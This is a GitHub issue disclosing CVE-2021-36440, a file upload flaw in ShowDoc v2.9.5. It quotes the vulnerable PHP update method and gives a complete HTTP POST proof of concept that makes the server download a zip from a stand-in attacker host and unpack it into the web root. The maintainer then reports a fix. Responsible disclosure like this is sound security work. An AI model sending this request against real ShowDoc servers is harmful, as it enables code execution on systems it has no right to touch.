New issue

Jump to bottom

File Upload vulnerability #1406

Closed Pd1r opened this issue on Jun 24, 2021 · 3 comments

Pd1r commented on Jun 24, 2021 • edited

A File Upload vulnerability was discovered in ShowDoc v2.9.5

Credit to Pd1r of Chaitin Tech。CVE-2021-36440

description

The file_url parameter allows remote download of compressed files, and the files in the compressed package will be released to the web directory when decompressed

Vulnerability file: server/Application/Api/Controller/AdminUpdateController.class.php

```
    public function download(){
        set_time_limit(1000);
        ini_set('memory_limit','500M');
        $new_version = I("new_version") ;
        $file_url = I("file_url") ;
        ..................
        $file = file_get_contents($file_url);
        file_put_contents($zip_file,$file);
        ..................
        if(file_exists($zip_file_subpath.'composer.json') && file_exists($zip_file_subpath.'web/index.php') && file_exists($zip_file_subpath.'server/vendor/autoload.php') ){
            //echo $zip_file_subpath.'存在';
            // 移动目录到upload/update
            $this->copydir($zip_file_subpath ,$showdoc_path.'Public/Uploads/update/' );
            $this->deldir($temp_dir);
            $this->sendResult(array());

        }else{
            $this->sendError(10101,'下载更新压缩包后，解压的文件缺失');
            return ;
        }
    }
```

PoC:

```
POST /server/index.php?s=/api/adminUpdate/download HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

new_version=v123123&file_url=http://attackers:9092/poc.zip
```

zip File

poc.zip

Pd1r commented on Jun 24, 2021 Author

We can access at http://127.0.0.1/Public/Uploads/update/phpinfo7.php

star7th commented on Jun 24, 2021 Owner

ok，I'll fix it later

star7th commented on Jun 24, 2021 Owner

Thanks for the reminder. Permission control has been added to make up the security vulnerability.

Pd1r closed this as completed on Jun 28, 2021

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants